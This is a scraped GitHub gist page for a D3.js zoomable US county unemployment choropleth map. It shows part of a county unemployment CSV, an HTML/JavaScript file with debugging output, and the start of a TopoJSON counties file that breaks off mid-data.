06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/a13a390b32f5dc70a62aeb3af5e8e568">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.5&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},